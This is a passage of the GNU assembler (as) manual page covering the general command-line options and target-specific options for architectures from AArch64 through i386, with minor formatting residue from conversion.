Target PowerPC options: [-a32|-a64] [-mpwrx|-mpwr2|-mpwr|-m601|-mppc|-mppc32|-m603|-m604|-m403|-m405| -m440|-m464|-m476|-m7400|-m7410|-m7450|-m7455|-m750cl|-mgekko| -mbroadway|-mppc64|-m620|-me500|-e500x2|-me500mc|-me500mc64|-me5500| -me6500|-mppc64bridge|-mbooke|-mpower4|-mpwr4|-mpower5|-mpwr5|-mpwr5x| -mpower6|-mpwr6|-mpower7|-mpwr7|-mpower8|-mpwr8|-mpower9|-mpwr9-ma2| -mcell|-mspe|-mspe2|-mtitan|-me300|-mcom] [-many] [-maltivec|-mvsx|-mhtm|-mvle] [-mregnames|-mno-regnames] [-mrelocatable|-mrelocatable-lib|-K PIC] [-memb] [-mlittle|-mlittle-endian|-le|-mbig|-mbig-endian|-be] [-msolaris|-mno-solaris] [**-nops=**count]

Target PRU options: [-link-relax] [-mnolink-relax] [-mno-warn-regname-label]

Target RISC-V options: [-fpic|-fPIC|-fno-pic] [-march=ISA] [-mabi=ABI] [-mlittle-endian|-mbig-endian]

Target RL78 options: [-mg10] [-m32bit-doubles|-m64bit-doubles]

Target RX options: [-mlittle-endian|-mbig-endian] [-m32bit-doubles|-m64bit-doubles] [-muse-conventional-section-names] [-msmall-data-limit] [-mpid] [-mrelax] [-mint-register=number] [-mgcc-abi|-mrx-abi]

Target s390 options: [-m31|-m64] [-mesa|-mzarch] [-march=CPU] [-mregnames|-mno-regnames] [-mwarn-areg-zero] [-mwarn-regtype-mismatch=strict -mwarn-regtype-mismatch=relaxed -mwarn-regtype-mismatch=no -mno-warn-regtype-mismatch]

Target SCORE options: [-EB][-EL][-FIXDD][-NWARN] [-SCORE5][-SCORE5U][-SCORE7][-SCORE3] [-march=score7][-march=score3] [-USE_R1][-KPIC][-O0][-G num][-V]

Target SPARC options: [-Av6|-Av7|-Av8|-Aleon|-Asparclet|-Asparclite -Av8plus|-Av8plusa|-Av8plusb|-Av8plusc|-Av8plusd -Av8plusv|-Av8plusm|-Av9|-Av9a|-Av9b|-Av9c -Av9d|-Av9e|-Av9v|-Av9m|-Asparc|-Asparcvis -Asparcvis2|-Asparcfmaf|-Asparcima|-Asparcvis3 -Asparcvisr|-Asparc5] [-xarch=v8plus|-xarch=v8plusa]|-xarch=v8plusb|-xarch=v8plusc -xarch=v8plusd|-xarch=v8plusv|-xarch=v8plusm|-xarch=v9 -xarch=v9a|-xarch=v9b|-xarch=v9c|-xarch=v9d|-xarch=v9e -xarch=v9v|-xarch=v9m|-xarch=sparc|-xarch=sparcvis -xarch=sparcvis2|-xarch=sparcfmaf|-xarch=sparcima -xarch=sparcvis3|-xarch=sparcvisr|-xarch=sparc5 -bump] [-32|-64] [–enforce-aligned-data][–dcti-couples-detect]

Target TIC54X options: [-mcpu=54[123589]|-mcpu=54[56]lp] [-mfar-mode|-mf] [-merrors-to-file <filename>|-me <filename>]

Target TIC6X options: [-march=arch] [-mbig-endian|-mlittle-endian] [-mdsbt|-mno-dsbt] [-mpid=no|-mpid=near|-mpid=far] [-mpic|-mno-pic]

Target TILE-Gx options: [-m32|-m64][-EB][-EL]

Target Visium options: [**-mtune=**arch]

Target Xtensa options: [–[no-]text-section-literals] [–[no-]auto-litpools] [–[no-]absolute-literals] [–[no-]target-align] [–[no-]longcalls] [–[no-]transform] [–rename-section oldname=newname] [–[no-]trampolines] [–abi-windowed|–abi-call0]

Target Z80 options: [-march=CPU[-EXT][+EXT]] [-local-prefix=PREFIX] [-colonless] [-sdcc] [**-fp-s=FORMAT] [-fp-d=**FORMAT]

DESCRIPTION

GNU as is really a family of assemblers. If you use (or have used) the GNU assembler on one architecture, you should find a fairly similar environment when you use it on another architecture. Each version has much in common with the others, including object file formats, most assembler directives (often called pseudo-ops) and assembler syntax.

as is primarily intended to assemble the output of the GNU C compiler gcc for use by the linker ld. Nevertheless, we’ve tried to make as assemble correctly everything that other assemblers for the same machine would assemble. Any exceptions are documented explicitly. This doesn’t mean as always uses the same syntax as another assembler for the same architecture; for example, we know of several incompatible versions of 680x0 assembly language syntax.

Each time you run as it assembles exactly one source program. The source program is made up of one or more files. (The standard input is also a file.)

You give as a command line that has zero or more input file names. The input files are read (from left file name to right). A command-line argument (in any position) that has no special meaning is taken to be an input file name.

If you give as no file names it attempts to read one input file from the as standard input, which is normally your terminal. You may have to type ctl-D to tell as there is no more program to assemble.

Use if you need to explicitly name the standard input file in your command line.

If the source is empty, as produces a small, empty object file.

as may write warnings and error messages to the standard error file (usually your terminal). This should not happen when a compiler runs as automatically. Warnings report an assumption made so that as could keep assembling a flawed program; errors report a grave problem that stops the assembly.

If you are invoking as via the GNU C compiler, you can use the -Wa option to pass arguments through to the assembler. The assembler arguments must be separated from each other (and the -Wa) by commas. For example:

gcc -c -g -O -Wa,-alh,-L file.c

This passes two options to the assembler: -alh (emit a listing to standard output with high-level and assembly source) and -L (retain local symbols in the symbol table).

Usually you do not need to use this -Wa mechanism, since many compiler command-line options are automatically passed to the assembler by the compiler. (You can call the GNU compiler driver with the -v option to see precisely what options it passes to each compilation pass, including the assembler.)

OPTIONS

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a[cdghilmns]
Turn on listings, in any of a variety of ways:

-ac
omit false conditionals

-ad
omit debugging directives

-ag
include general information, like as version and options passed

-ah
include high-level source

-al
include assembly

-ali
include assembly with ginsn

-am
include macro expansions

-an
omit forms processing

-as
include symbols

=file
set the name of the listing file

You may combine these options; for example, use -aln for assembly listing without forms processing. The =file option, if used, must be the last one. By itself, -a defaults to -ahls.

–alternate
Begin in alternate macro mode.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. The resulting object file may not be compatible with older linkers and object file utilities. Note if compression would make a given section larger then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

These options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –nocompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–nocompress-debug-sections
Do not compress DWARF debug sections. This is usually the default for all targets except the x86/x86_64, but a configure time option can be used to override this.

-D
Enable debugging in target specific backends, if supported. Otherwise ignored. Even if ignored, this option is accepted for script compatibility with calls to other assemblers.

–debug-prefix-map old=new
When assembling files in directory old, record debugging information describing them as in new instead.

–defsym sym=value
Define the symbol sym to be value before assembling the input file. value must be an integer constant. As in C, a leading 0x indicates a hexadecimal value, and a leading 0 indicates an octal value. The value of the symbol can be overridden inside a source file via the use of a .set pseudo-op.

–dump-config
Displays how the assembler is configured and then exits.

–elf-stt-common=no

–elf-stt-common=yes

These options control whether the ELF assembler should generate common symbols with the STT_COMMON type. The default can be controlled by a configure option –enable-elf-stt-common.

–emulation=name
If the assembler is configured to support multiple different target configurations then this option can be used to select the desired form.

-f
“fast”—skip whitespace and comment preprocessing (assume source is compiler output).

-g

–gen-debug

Generate debugging information for each assembler source line using whichever debug format is preferred by the target. This currently means either STABS, ECOFF or DWARF2. When the debug format is DWARF then a .debug_info and .debug_line section is only emitted when the assembly file doesn’t generate one itself.

–gstabs
Generate stabs debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it.

–gstabs+
Generate stabs debugging information for each assembler line, with GNU extensions that probably only gdb can handle, and that could make other debuggers crash or refuse to read your program. This may help debugging assembler code. Currently the only GNU extension is the location of the current working directory at assembling time.

–gdwarf-2
Generate DWARF2 debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it. Note—this option is only supported by some targets, not all of them.

–gdwarf-3
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 3 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-4
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 4 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-5
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 5 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-sections
Instead of creating a .debug_line section, create a series of .debug_line.foo sections where foo is the name of the corresponding code section. For example a code section called .text.func will have its dwarf line number information placed into a section called .debug_line.text.func. If the code section is just called .text then debug line section will still be called just .debug_line without any suffix.

–gdwarf-cie-version=version
Control which version of DWARF Common Information Entries (CIEs) are produced. When this flag is not specified the default is version 1, though some targets can modify this default. Other possible values for version are 3 or 4.

–generate-missing-build-notes=yes

–generate-missing-build-notes=no

These options control whether the ELF assembler should generate GNU Build attribute notes if none are present in the input sources. The default can be controlled by the –enable-generate-build-notes configure option.

–gsframe

–gsframe

Create .sframe section from CFI directives.

–hash-size N
Ignored. Supported for command line compatibility with other assemblers.

–help
Print a summary of the command-line options and exit.

–target-help
Print a summary of all target specific options and exit.

-I dir
Add directory dir to the search list for .include directives.

-J
Don’t warn about signed overflow.

-K
Issue warnings when difference tables altered for long displacements.

-L

–keep-locals

Keep (in the symbol table) local symbols. These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.

–listing-lhs-width=number
Set the maximum width, in words, of the output data column for an assembler listing to number.

–listing-lhs-width2=number
Set the maximum width, in words, of the output data column for continuation lines in an assembler listing to number.

–listing-rhs-width=number
Set the maximum width of an input source line, as displayed in a listing, to number bytes.

–listing-cont-lines=number
Set the maximum number of lines printed in a listing for a single line of input to number + 1.

–multibyte-handling=allow

–multibyte-handling=warn

–multibyte-handling=warn-sym-only

–multibyte-handling=warn_sym_only

Controls how the assembler handles multibyte characters in the input. The default (which can be restored by using the allow argument) is to allow such characters without complaint. Using the warn argument will make the assembler generate a warning message whenever any multibyte character is encountered. Using the warn-sym-only argument will only cause a warning to be generated when a symbol is defined with a name that contains multibyte characters. (References to undefined symbols will not generate a warning).

–no-pad-sections
Stop the assembler for padding the ends of output sections to the alignment of that section. The default is to pad the sections, but this can waste space which might be needed on targets which have tight memory constraints.

-o objfile
Name the object-file output from as objfile.

-R
Fold the data section into the text section.

–reduce-memory-overheads
Ignored. Supported for compatibility with tools that pass the same option to both the assembler and the linker.

–scfi=experimental
This option controls whether the assembler should synthesize CFI for hand-written input. If the input already contains some synthesizable CFI directives, the assembler ignores them and emits a warning. Note that --scfi=experimental is not intended to be used for compiler-generated code, including inline assembly. This experimental support is work in progress. Only System V AMD64 ABI is supported. Each input function in assembly must begin with the .type directive, and should ideally be closed off using a .size directive. When using SCFI, each .type directive prompts GAS to start a new FDE (a.k.a., Function Descriptor Entry). This implies that with each .type directive, a previous block of instructions, if any, is finalised as a distinct FDE.

–sectname-subst
Honor substitution sequences in section names.

–size-check=error

–size-check=warning

Issue an error or warning for invalid ELF .size directive.

–statistics
Print the maximum space (in bytes) and total time (in seconds) used by assembly.

–strip-local-absolute
Remove local absolute symbols from the outgoing symbol table.

-v

-version

Print the as version.

–version
Print the as version and exit.

-W

–no-warn

Suppress warning messages.

–warn
Don’t suppress warning messages or treat them as errors.

–fatal-warnings
Treat warnings as errors.

-w
Ignored.

-x
Ignored.

-Z
Generate an object file even after errors.

– | files …
Standard input, or source files to assemble.

The following options are available when as is configured for the 64-bit mode of the ARM Architecture (AArch64).

-EB
This option specifies that the output generated by the assembler should be marked as being encoded for a big-endian processor.

-EL
This option specifies that the output generated by the assembler should be marked as being encoded for a little-endian processor.

-mabi=abi
Specify which ABI the source code uses. The recognized arguments are: ilp32 and lp64, which decides the generated object file in ELF32 and ELF64 format respectively. The default is lp64.

-mcpu=processor[+extension…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: cortex-a34, cortex-a35, cortex-a53, cortex-a55, cortex-a57, cortex-a65, cortex-a65ae, cortex-a72, cortex-a73, cortex-a75, cortex-a76, cortex-a76ae, cortex-a77, cortex-a78, cortex-a78ae, cortex-a78c, cortex-a510, cortex-a520, cortex-a710, cortex-a720, ares, exynos-m1, falkor, neoverse-n1, neoverse-n2, neoverse-e1, neoverse-v1, qdf24xx, saphira, thunderx, vulcan, xgene1 xgene2, cortex-r82, cortex-x1, cortex-x2, cortex-x3, and cortex-x4. The special name all may be used to allow the assembler to accept instructions valid for any supported processor, including all optional extensions. In addition to the basic instruction set, the assembler can be told to accept, or restrict, various extension mnemonics that extend the processor. If some implementations of a particular processor can have an extension, then then those extensions are automatically enabled. Consequently, you will not normally have to specify any additional extensions.

-march=architecture[+extension…]
This option specifies the target architecture. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: armv8-a, armv8.1-a, armv8.2-a, armv8.3-a, armv8.4-a armv8.5-a, armv8.6-a, armv8.7-a, armv8.8-a, armv8.9-a, armv8-r, armv9-a, armv9.1-a, armv9.2-a, armv9.3-a, armv9.4-a and armv9.5-a. If both -mcpu and -march are specified, the assembler will use the setting for -mcpu. If neither are specified, the assembler will default to -mcpu=all. The architecture option can be extended with the same instruction set extension options as the -mcpu option. Unlike -mcpu, extensions are not always enabled by default.

-mverbose-error
This option enables verbose error messages for AArch64 gas. This option is enabled by default.

-mno-verbose-error
This option disables verbose error messages in AArch64 gas.

The following options are available when as is configured for an Alpha processor.

-mcpu
This option specifies the target processor. If an attempt is made to assemble an instruction which will not execute on the target processor, the assembler may either expand the instruction as a macro or issue an error message. This option is equivalent to the .arch directive. The following processor names are recognized: 21064, 21064a, 21066, 21068, 21164, 21164a, 21164pc, 21264, 21264a, 21264b, ev4, ev5, lca45, ev5, ev56, pca56, ev6, ev67, ev68. The special name all may be used to allow the assembler to accept instructions valid for any Alpha processor. In order to support existing practice in OSF/1 with respect to .arch, and existing practice within MILO (the Linux ARC bootloader), the numbered processor names (e.g. 21064) enable the processor-specific PALcode instructions, while the “electro-vlasic” names (e.g. ev4) do not.

-mdebug

-no-mdebug

Enables or disables the generation of .mdebug encapsulation for stabs directives and procedure descriptors. The default is to automatically enable .mdebug when the first stabs directive is seen.

-relax
This option forces all relocations to be put into the object file, instead of saving space and resolving some relocations at assembly time. Note that this option does not propagate all symbol arithmetic into the object file, because not all symbol arithmetic can be represented. However, the option can still be useful in specific applications.

-replace

-noreplace

Enables or disables the optimization of procedure calls, both at assemblage and at link time. These options are only available for VMS targets and -replace is the default. See section 1.4.1 of the OpenVMS Linker Utility Manual.

-g
This option is used when the compiler generates debug information. When gcc is using mips-tfile to generate debug information for ECOFF, local labels must be passed through to the object file. Otherwise this option has no effect.

-Gsize
A local common symbol larger than size is placed in .bss, while smaller symbols are placed in .sbss.

-F

-32addr

These options are ignored for backward compatibility.

The following options are available when as is configured for an ARC processor.

-mcpu=cpu
This option selects the core processor variant.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mcode-density
Enable Code Density extension instructions.

The following options are available when as is configured for the ARM processor family.

-mcpu=processor[+extension…]
Specify which ARM processor variant is the target.

-march=architecture[+extension…]
Specify which ARM architecture variant is used by the target.

-mfpu=floating-point-format
Select which Floating Point architecture is the target.

-mfloat-abi=abi
Select which floating point ABI is in use.

-mthumb
Enable Thumb only instruction decoding.

-mapcs-32 | -mapcs-26 | -mapcs-float | -mapcs-reentrant
Select which procedure calling convention is in use.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mthumb-interwork
Specify that the code has been generated with interworking between Thumb and ARM code in mind.

-mccs
Turns on CodeComposer Studio assembly syntax compatibility mode.

-k
Specify that PIC code has been generated.

The following options are available when as is configured for the Blackfin processor family.

-mcpu=processor[-sirevision]
This option specifies the target processor. The optional sirevision is not used in assembler. It’s here such that GCC can easily pass down its -mcpu= option. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: bf504, bf506, bf512, bf514, bf516, bf518, bf522, bf523, bf524, bf525, bf526, bf527, bf531, bf532, bf533, bf534, bf535 (not implemented yet), bf536, bf537, bf538, bf539, bf542, bf542m, bf544, bf544m, bf547, bf547m, bf548, bf548m, bf549, bf549m, bf561, and bf592.

-mfdpic
Assemble for the FDPIC ABI.

-mno-fdpic

-mnopic

Disable -mfdpic.

The following options are available when as is configured for the Linux kernel BPF processor family.

@chapter BPF Dependent Features

BPF Options

-EB
This option specifies that the assembler should emit big-endian eBPF.

-EL
This option specifies that the assembler should emit little-endian eBPF.

-mdialect=dialect
This option specifies the assembly language dialect to recognize while assembling. The assembler supports normal and pseudoc.

-misa-spec=spec
This option specifies the version of the BPF instruction set to use when assembling. The BPF ISA versions supported are v1 v2, v3 and v4. The value xbpf can be specified to recognize extra instructions that are used by GCC for testing purposes. But beware this is not valid BPF.

-mno-relax
This option tells the assembler to not relax instructions.

Note that if no endianness option is specified in the command line, the host endianness is used. See the info pages for documentation of the CRIS-specific options.

The following options are available when as is configured for the C-SKY processor family.

-march=archname
Assemble for architecture archname. The –help option lists valid values for archname.

-mcpu=cpuname
Assemble for architecture cpuname. The –help option lists valid values for cpuname.

-EL

-mlittle-endian

Generate little-endian output.

-EB

-mbig-endian

Generate big-endian output.

-fpic

-pic

Generate position-independent code.

-mljump

-mno-ljump

Enable/disable transformation of the short branch instructions jbf, jbt, and jbr to jmpi. This option is for V2 processors only. It is ignored on CK801 and CK802 targets, which do not support the jmpi instruction, and is enabled by default for other processors.

-mbranch-stub

-mno-branch-stub

Pass through R_CKCORE_PCREL_IMM26BY2 relocations for bsr instructions to the linker. This option is only available for bare-metal C-SKY V2 ELF targets, where it is enabled by default. It cannot be used in code that will be dynamically linked against shared libraries.

-force2bsr

-mforce2bsr

-no-force2bsr

-mno-force2bsr

Enable/disable transformation of jbsr instructions to bsr. This option is always enabled (and -mno-force2bsr is ignored) for CK801/CK802 targets. It is also always enabled when -mbranch-stub is in effect.

-jsri2bsr

-mjsri2bsr

-no-jsri2bsr

-mno-jsri2bsr

Enable/disable transformation of jsri instructions to bsr. This option is enabled by default.

-mnolrw

-mno-lrw

Enable/disable transformation of lrw instructions into a movih/ori pair.

-melrw

-mno-elrw

Enable/disable extended lrw instructions. This option is enabled by default for CK800-series processors.

-mlaf

-mliterals-after-func

-mno-laf

-mno-literals-after-func

Enable/disable placement of literal pools after each function.

-mlabr

-mliterals-after-br

-mno-labr

-mnoliterals-after-br

Enable/disable placement of literal pools after unconditional branches. This option is enabled by default.

-mistack

-mno-istack

Enable/disable interrupt stack instructions. This option is enabled by default on CK801, CK802, and CK802 processors.

The following options explicitly enable certain optional instructions. These features are also enabled implicitly by using -mcpu= to specify a processor that supports it.

-mhard-float
Enable hard float instructions.

-mmp
Enable multiprocessor instructions.

-mcp
Enable coprocessor instructions.

-mcache
Enable cache prefetch instruction.

-msecurity
Enable C-SKY security instructions.

-mtrust
Enable C-SKY trust instructions.

-mdsp
Enable DSP instructions.

-medsp
Enable enhanced DSP instructions.

-mvdsp
Enable vector DSP instructions.

The following options are available when as is configured for an Epiphany processor.

-mepiphany
Specifies that the both 32 and 16 bit instructions are allowed. This is the default behavior.

-mepiphany16
Restricts the permitted instructions to just the 16 bit set.

The following options are available when as is configured for an H8/300 processor. @chapter H8/300 Dependent Features

Options

The Renesas H8/300 version of as has one machine-dependent option:

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

-mach=name
Sets the H8300 machine variant. The following machine names are recognised: h8300h, h8300hn, h8300s, h8300sn, h8300sx and h8300sxn.

The following options are available when as is configured for an i386 processor.

–32 | –x32 | –64
Select the word size, either 32 bits or 64 bits. –32 implies Intel i386 architecture, while –x32 and –64 imply AMD x86-64 architecture with 32-bit or 64-bit word-size respectively. These options are only available with the ELF object file format, and require that the necessary BFD support has been included (on a 32-bit platform you have to add –enable-64-bit-bfd to configure enable 64-bit usage and use x86-64 as target platform).

-n
By default, x86 GAS replaces multiple nop instructions used for alignment within code sections with multi-byte nop instructions such as leal 0(%esi,1),%esi. This switch disables the optimization if a single byte nop (0x90) is explicitly specified as the fill byte for alignment.

–divide
On SVR4-derived platforms, the character / is treated as a comment character, which means that it cannot be used in expressions. The –divide option turns / into a normal character. This does not disable / at the beginning of a line starting a comment, or affect using # for starting a comment.

-march=CPU[+EXTENSION…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: i8086, i186, i286, i386, i486, i586, i686, pentium, pentiumpro, pentiumii, pentiumiii, pentium4, prescott, nocona, core, core2, corei7, iamcu, k6, k6_2, athlon, opteron, k8, amdfam10, bdver1, bdver2, bdver3, bdver4, znver1, znver2, znver3, znver4, znver5, btver1, btver2, generic32 and generic64. In addition to the basic instruction set, the assembler can be told to accept various extension mnemonics. For example, -march=i686+sse4+vmx extends i686 with sse4 and vmx. The following extensions are currently supported: 8087, 287, 387, 687, cmov, fxsr, mmx, sse, sse2, sse3, sse4a, ssse3, sse4.1, sse4.2, sse4, avx, avx2, lahf_sahf, monitor, adx, rdseed, prfchw, smap, mpx, sha, rdpid, ptwrite, cet, gfni, vaes, vpclmulqdq, prefetchwt1, clflushopt, se1, clwb, movdiri, movdir64b, enqcmd, serialize, tsxldtrk, kl, widekl, hreset, avx512f, avx512cd, avx512er, avx512pf, avx512vl, avx512bw, avx512dq, avx512ifma, avx512vbmi, avx512_4fmaps, avx512_4vnniw, avx512_vpopcntdq, avx512_vbmi2, avx512_vnni, avx512_bitalg, avx512_vp2intersect, tdx, avx512_bf16, avx_vnni, avx512_fp16, prefetchi, avx_ifma, avx_vnni_int8, cmpccxadd, wrmsrns, msrlist, avx_ne_convert, rao_int, fred, lkgs, avx_vnni_int16, sha512, sm3, sm4, pbndkb, avx10.1, avx10.1/512, avx10.1/256, avx10.1/128, user_msr, apx_f, amx_int8, amx_bf16, amx_fp16, amx_complex, amx_tile, vmx, vmfunc, smx, xsave, xsaveopt, xsavec, xsaves, aes, pclmul, fsgsbase, rdrnd, f16c, bmi2, fma, movbe, ept, lzcnt, popcnt, hle, rtm, tsx, invpcid, clflush, mwaitx, clzero, wbnoinvd, pconfig, waitpkg, uintr, cldemote, rdpru, mcommit, sev_es, lwp, fma4, xop, cx16, syscall, rdtscp, 3dnow, 3dnowa, sse4a, sse5, snp, invlpgb, tlbsync, svme and padlock. Note that these extension mnemonics can be prefixed with no to revoke the respective (and any dependent) functionality. Note further that the suffixes permitted on -march=avx10.<N> enforce a vector length restriction, i.e. despite these otherwise being “enabling” options, using these suffixes will disable all insns with wider vector or mask register operands. When the .arch directive is used with -march, the .arch directive will take precedent.

-mtune=CPU
This option specifies a processor to optimize for. When used in conjunction with the -march option, only instructions of the processor specified by the -march option will be generated. Valid CPU values are identical to the processor list of **-march=**CPU.

-moperand-check=none

-moperand-check=warning

-moperand-check=error

These options control if the assembler should check certain instruction operands or operand combinations. An example instructions where operand size cannot be inferred from its operands and also hasn’t been specified by way of an instruction suffix. **-moperand-check=**none will make the assembler not perform these checks. **-moperand-check=**warning will make the assembler issue a warning when respective checks fail, which is the default. **-moperand-check=**error will make the assembler issue an error when respective checks fail.

-msse2avx
This option specifies that the assembler should encode SSE instructions with VEX prefix, requiring AVX to be available. SSE instructions using extended GPRs will be encoded with EVEX prefix, requiring AVX512 or AVX10 to be available.

-muse-unaligned-vector-move
This option specifies that the assembler should encode aligned vector move as unaligned vector move.

-msse-check=none

-msse-check=warning

-msse-check=error

These options control if the assembler should check SSE instructions. **-msse-check=**none will make the assembler not to check SSE instructions, which is the default. **-msse-check=**warning will make the assembler issue a warning for any SSE instruction. **-msse-check=**error will make the assembler issue an error for any SSE instruction.

-mavxscalar=128

-mavxscalar=256

These options control how the assembler should encode scalar AVX instructions. **-mavxscalar=**128 will encode scalar AVX instructions with 128bit vector length, which is the default. **-mavxscalar=**256 will encode scalar AVX instructions with 256bit vector length. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mvexwig=0

-mvexwig=1

These options control how the assembler should encode VEX.W-ignored (WIG) VEX instructions. **-mvexwig=**0 will encode WIG VEX instructions with vex.w = 0, which is the default. **-mvexwig=**1 will encode WIG EVEX instructions with vex.w = 1. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mevexlig=128

-mevexlig=256

-mevexlig=512

These options control how the assembler should encode length-ignored (LIG) EVEX instructions. **-mevexlig=**128 will encode LIG EVEX instructions with 128bit vector length, which is the default. **-mevexlig=**256 and **-mevexlig=**512 will encode LIG EVEX instructions with 256bit and 512bit vector length, respectively.

-mevexwig=0

-mevexwig=1

These options control how the assembler should encode w-ignored (WIG) EVEX instructions. **-mevexwig=**0 will encode WIG EVEX instructions with evex.w = 0, which is the default. **-mevexwig=**1 will encode WIG EVEX instructions with evex.w = 1.

-mmnemonic=att

-mmnemonic=intel

This option specifies instruction mnemonic for matching instructions. The .att_mnemonic and .intel_mnemonic directives will take precedent.

-msyntax=att

-msyntax=intel

This option specifies instruction syntax when processing instructions. The .att_syntax and .intel_syntax directives will take precedent.

-mnaked-reg
This option specifies that registers don’t require a % prefix. The .att_syntax and .intel_syntax directives will take precedent.

-madd-bnd-prefix
This option forces the assembler to add BND prefix to all branches, even if such prefix was not explicitly specified in the source code.

-mno-shared
On ELF target, the assembler normally optimizes out non-PLT relocations against defined non-weak global branch targets with default visibility. The -mshared option tells the assembler to generate code which may go into a shared library where all non-weak global branch targets with default visibility can be preempted. The resulting code is slightly bigger. This option only affects the handling of branch instructions.

-mbig-obj
On PE/COFF target this option forces the use of big object file format, which allows more than 32768 sections.

-momit-lock-prefix=no

-momit-lock-prefix=yes

These options control how the assembler should encode lock prefix. This option is intended as a workaround for processors, that fail on lock prefix. This option can only be safely used with single-core, single-thread computers **-momit-lock-prefix=**yes will omit all lock prefixes. **-momit-lock-prefix=**no will encode lock prefix as usual, which is the default.

-mfence-as-lock-add=no

-mfence-as-lock-add=yes

These options control how the assembler should encode lfence, mfence and sfence. **-mfence-as-lock-add=**yes will encode lfence, mfence and sfence as lock addl $0x0, (%rsp) in 64-bit mode and lock addl $0x0, (%esp) in 32-bit mode. **-mfence-as-lock-add=**no will encode lfence, mfence and sfence as usual, which is the default.

-mrelax-relocations=no

-mrelax-relocations=yes

These options control whether the assembler should generate relax relocations, R_386_GOT32X, in 32-bit mode, or R_X86_64_GOTPCRELX and R_X86_64_REX_GOTPCRELX, in 64-bit mode. **-mrelax-relocations=**yes will generate relax relocations. **-mrelax-relocations=**no will not generate relax relocations. The default can be controlled by a configure option –enable-x86-relax-relocations.

-malign-branch-boundary=NUM
This option controls how the assembler should align branches with segment prefixes or NOP. NUM must be a power of 2. It should be 0 or no less than 16. Branches will be aligned within NUM byte boundary. -malign-branch-boundary=0, which is the default, doesn’t align branches.

-malign-branch=TYPE[+TYPE…]
This option specifies types of branches to align. TYPE is combination of jcc, which aligns conditional jumps, fused, which aligns fused conditional jumps, jmp, which aligns unconditional jumps, call which aligns calls, ret, which aligns rets, indirect, which aligns indirect jumps and calls. The default is -malign-branch=jcc+fused+jmp.

-malign-branch-prefix-size=NUM
This option specifies the maximum number of prefixes on an instruction to align branches. NUM should be between 0 and 5. The default NUM is 5.

-mbranches-within-32B-boundaries
This option aligns conditional jumps, fused conditional jumps and unconditional jumps within 32 byte boundary with up to 5 segment prefixes on an instruction. It is equivalent to -malign-branch-boundary=32 -malign-branch=jcc+fused+jmp -malign-branch-prefix-size=5. The default doesn’t align branches.

-mlfence-after-load=no

-mlfence-after-load=yes

These options control whether the assembler should generate lfence after load instructions. **-mlfence-after-load=**yes will generate lfence. **-mlfence-after-load=**no will not generate lfence, which is the default.

-mlfence-before-indirect-branch=none

-mlfence-before-indirect-branch=all

-mlfence-before-indirect-branch=register

-mlfence-before-indirect-branch=memory

These options control whether the assembler should generate lfence before indirect near branch instructions. **-mlfence-before-indirect-branch=**all will generate lfence before indirect near branch via register and issue a warning before indirect near branch via memory. It also implicitly sets **-mlfence-before-ret=**shl when there’s no explicit -mlfence-before-ret=. **-mlfence-before-indirect-branch=**register will generate lfence before indirect near branch via register. **-mlfence-before-indirect-branch=**memory will issue a warning before indirect near branch via memory. **-mlfence-before-indirect-branch=**none will not generate lfence nor issue warning, which is the default. Note that lfence won’t be generated before indirect near branch via register with **-mlfence-after-load=**yes since lfence will be generated after loading branch target register.

-mlfence-before-ret=none

-mlfence-before-ret=shl

-mlfence-before-ret=or

-mlfence-before-ret=yes

-mlfence-before-ret=not

These options control whether the assembler should generate lfence before ret. **-mlfence-before-ret=**or will generate generate or instruction with lfence. **-mlfence-before-ret=**shl/yes will generate shl instruction with lfence. **-mlfence-before-ret=**not will generate not instruction with lfence. **-mlfence-before-ret=**none will not generate lfence, which is the default.

-mx86-used-note=no

-mx86-used-note=yes

These options control whether the assembler should generate GNU_PROPERTY_X86_ISA_1_USED and GNU_PROPERTY_X86_FEATURE_2_USED GNU property notes. The default can be controlled by the –enable-x86-used-note configure option.

-mevexrcig=rne

-mevexrcig=rd

-mevexrcig=ru

-mevexrcig=rz

These options control how the assembler should encode SAE-only EVEX instructions. **-mevexrcig=**rne will encode RC bits of EVEX instruction with 00, which is the default. **-mevexrcig=**rd, **-mevexrcig=**ru and **-mevexrcig=**rz will encode SAE-only EVEX instructions with 01, 10 and 11 RC bits, respectively.

-mamd64

-mintel64

